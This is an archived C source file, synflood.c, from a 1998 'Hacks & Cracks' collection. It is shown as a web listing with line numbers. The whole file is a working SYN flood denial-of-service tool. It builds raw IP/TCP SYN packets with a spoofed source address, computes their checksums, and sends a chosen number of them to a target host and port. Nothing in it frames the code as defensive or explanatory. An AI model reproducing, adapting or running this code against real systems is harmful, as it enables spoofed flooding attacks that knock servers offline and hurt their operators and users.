home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / synflood.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  5KB  |  181 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <signal.h>
  4. #include <string.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <netinet/in.h>
  8. #include <sys/socket.h>
  9. #include <arpa/inet.h>
  10. #include <linux/ip.h>
  11. #include <linux/tcp.h>
  12.  
  13. void hose_trusted(unsigned int, unsigned int, unsigned short, int);
  14. unsigned short in_cksum(unsigned short *, int);
  15. unsigned int host2ip(char *);
  16.  
  17. main(int argc, char **argv)
  18. {
  19.    unsigned int srchost;
  20.    unsigned int dsthost;
  21.    unsigned short port=80;
  22.    unsigned int number=1000;
  23.    if(argc < 3)
  24.    {
  25.       printf("%s srchost dsthost port num\n", argv[0]);
  26.       exit(0);
  27.    }
  28.    srchost = host2ip(argv[1]);
  29.    dsthost = host2ip(argv[2]);
  30.    if(argc >= 4) port = atoi(argv[3]);
  31.    if(argc >= 5) number = atoi(argv[4]);
  32.    if(port == 0) port = 80;
  33.    if(number == 0) number = 1000;
  34.    printf("synflooding %s from %s port %u %u times\n", argv[2], argv[1], port, number);
  35.    hose_trusted(srchost, dsthost, port, number);
  36. }
  37.  
  38. void hose_trusted(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, int numsyns)
  39. {
  40.    struct send_tcp
  41.    {
  42.       struct iphdr ip;
  43.       struct tcphdr tcp;
  44.    } send_tcp;
  45.    struct pseudo_header
  46.    {
  47.       unsigned int source_address;
  48.       unsigned int dest_address;
  49.       unsigned char placeholder;
  50.       unsigned char protocol;
  51.       unsigned short tcp_length;
  52.       struct tcphdr tcp;
  53.    } pseudo_header;
  54.    int i;
  55.    int tcp_socket;
  56.    struct sockaddr_in sin;
  57.    int sinlen;
  58.             
  59.    /* form ip packet */
  60.    send_tcp.ip.ihl = 5;
  61.    send_tcp.ip.version = 4;
  62.    send_tcp.ip.tos = 0;
  63.    send_tcp.ip.tot_len = htons(40);
  64.    send_tcp.ip.id = getpid();
  65.    send_tcp.ip.frag_off = 0;
  66.    send_tcp.ip.ttl = 255;
  67.    send_tcp.ip.protocol = IPPROTO_TCP;
  68.    send_tcp.ip.check = 0;
  69.    send_tcp.ip.saddr = source_addr;
  70.    send_tcp.ip.daddr = dest_addr;
  71.    
  72.    /* form tcp packet */
  73.    send_tcp.tcp.source = getpid();
  74.    send_tcp.tcp.dest = htons(dest_port);
  75.    send_tcp.tcp.seq = getpid();   
  76.    send_tcp.tcp.ack_seq = 0;
  77.    send_tcp.tcp.res1 = 0;
  78.    send_tcp.tcp.doff = 5;
  79.    send_tcp.tcp.fin = 0;
  80.    send_tcp.tcp.syn = 1;
  81.    send_tcp.tcp.rst = 0;
  82.    send_tcp.tcp.psh = 0;
  83.    send_tcp.tcp.ack = 0;
  84.    send_tcp.tcp.urg = 0;
  85.    send_tcp.tcp.res2 = 0;
  86.    send_tcp.tcp.window = htons(512);
  87.    send_tcp.tcp.check = 0;
  88.    send_tcp.tcp.urg_ptr = 0;
  89.    
  90.    /* setup the sin struct */
  91.    sin.sin_family = AF_INET;
  92.    sin.sin_port = send_tcp.tcp.source;
  93.    sin.sin_addr.s_addr = send_tcp.ip.daddr;   
  94.    
  95.    /* (try to) open the socket */
  96.    tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  97.    if(tcp_socket < 0)
  98.    {
  99.       perror("socket");
  100.       exit(1);
  101.    }
  102.    
  103.    for(i=0;i < numsyns;i++)
  104.    {
  105.       /* set fields that need to be changed */
  106.       send_tcp.tcp.source++;
  107.       send_tcp.ip.id++;
  108.       send_tcp.tcp.seq++;
  109.       send_tcp.tcp.check = 0;
  110.       send_tcp.ip.check = 0;
  111.       
  112.       /* calculate the ip checksum */
  113.       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  114.  
  115.       /* set the pseudo header fields */
  116.       pseudo_header.source_address = send_tcp.ip.saddr;
  117.       pseudo_header.dest_address = send_tcp.ip.daddr;
  118.       pseudo_header.placeholder = 0;
  119.       pseudo_header.protocol = IPPROTO_TCP;
  120.       pseudo_header.tcp_length = htons(20);
  121.       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  122.       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
  123.       sinlen = sizeof(sin);
  124.       sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);
  125.    }
  126.    close(tcp_socket);
  127. }
  128.  
  129. unsigned short in_cksum(unsigned short *ptr, int nbytes)
  130. {
  131.         register long           sum;            /* assumes long == 32 bits */
  132.         u_short                 oddbyte;
  133.         register u_short        answer;         /* assumes u_short == 16 bits */
  134.  
  135.         /*
  136.          * Our algorithm is simple, using a 32-bit accumulator (sum),
  137.          * we add sequential 16-bit words to it, and at the end, fold back
  138.          * all the carry bits from the top 16 bits into the lower 16 bits.
  139.          */
  140.  
  141.         sum = 0;
  142.         while (nbytes > 1)  {
  143.                 sum += *ptr++;
  144.                 nbytes -= 2;
  145.         }
  146.  
  147.                                 /* mop up an odd byte, if necessary */
  148.         if (nbytes == 1) {
  149.                 oddbyte = 0;            /* make sure top half is zero */
  150.                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
  151.                 sum += oddbyte;
  152.         }
  153.  
  154.         /*
  155.          * Add back carry outs from top 16 bits to low 16 bits.
  156.          */
  157.  
  158.         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  159.         sum += (sum >> 16);                     /* add carry */
  160.         answer = ~sum;          /* ones-complement, then truncate to 16 bits */
  161.         return(answer);
  162. }
  163.  
  164. unsigned int host2ip(char *hostname)
  165. {
  166.    static struct in_addr i;
  167.    struct hostent *h;
  168.    i.s_addr = inet_addr(hostname);
  169.    if(i.s_addr == -1)
  170.    {
  171.       h = gethostbyname(hostname);
  172.       if(h == NULL)
  173.       {
  174.          fprintf(stderr, "cant find %s!\n", hostname);
  175.          exit(0);
  176.       }
  177.       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  178.    }
  179.    return i.s_addr;
  180. }
  181.